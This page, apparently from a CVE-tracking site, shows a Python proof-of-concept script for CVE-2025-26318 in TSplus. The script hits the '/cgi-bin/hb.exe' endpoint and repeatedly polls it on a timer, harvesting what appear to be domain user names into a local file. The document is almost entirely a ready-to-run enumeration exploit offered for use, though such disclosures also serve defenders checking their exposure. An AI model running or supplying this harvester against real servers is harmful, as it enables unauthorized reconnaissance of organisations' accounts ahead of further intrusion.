4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Tscrap.py PY
# Découverte vulnérabilité par Frozenk
# https://github.com/Frozenka
# CVE-2025-26318

import requests
import time
from datetime import datetime

print("This script checks the vulnerability of TSplus to domain user enumeration\n")

# Saisie des paramètres utilisateur
url = input("Enter URL (https://site.vuln.fr) : ")
url = url+("/cgi-bin/hb.exe") # ajout de la partie vulnérable de TSlog

# Test si application vulnérable
try:
    response = requests.get(url)

    # Vérifier si le statut HTTP est 200
    if response.status_code == 200:
        print("! Vulnerable ! ")
    else:
        print(f"Non-vulnerable site, HTTP status: {response.status_code} ")
except requests.exceptions.RequestException as e:
    # En cas d'erreur (problème de connexion, etc.)
    print(f"Error connecting to the URL {e}")


filename = input("Output file name : ")
interval_minutes = int(input("Execution (in minutes) : "))  # Conversion en entier

# Fonction pour récupérer les données de la page web
def fetch_data_from_web(url):

    response = requests.get(url)
    if response.status_code == 200:
        return response.text

    else:

        print(f"Error to acces page : {response.status_code}")
        return None



# Fonction pour extraire les données après les chiffres

def extract_data(data):

    lines = data.splitlines()
    extracted_data = []
    for line in lines:
        parts = line.split(":")
        if len(parts) > 4:

            extracted_data.append(parts[-1].strip())  # Récupère la dernière partie et retire les espaces inutiles

    return extracted_data



# Fonction pour écrire les données uniques dans un fichier, chaque donnée sur une nouvelle ligne
def write_unique_data_to_file(data, filename):

    try:
        # Lire les données existantes dans le fichier
        with open(filename, 'r') as file:
            existing_data = file.read().splitlines()

    except FileNotFoundError:

        # Si le fichier n'existe pas encore, initialiser une liste vide
        existing_data = []

    # Filtrer les nouvelles données pour qu'elles soient uniques
    new_data = [d for d in data if d not in existing_data]

    # Si on a des nouvelles données, les ajouter
    if new_data:

        with open(filename, 'a') as file:
            for entry in new_data:
                file.write(entry + '\n')  # Écrit chaque donnée sur une nouvelle ligne
        print(f"{len(new_data)} new data add.")

    else:
        print("No new data.")

# Fonction principale pour exécuter le script périodiquement
def run_periodically(url, filename, interval_minutes):

    while True:
        data = fetch_data_from_web(url)
        if data:
            extracted_data = extract_data(data)
            write_unique_data_to_file(extracted_data, filename)

        else:
            print("Impossible to get data.")


        # Obtenir l'heure actuelle et la formater
        current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        print(f"[{current_time}] Waiting for {interval_minutes} minutes before the next execution...")

        # Mettre en pause pour l'intervalle défini
        time.sleep(interval_minutes * 60)

# Exécution du script en boucle
run_periodically(url, filename, interval_minutes)

#EOF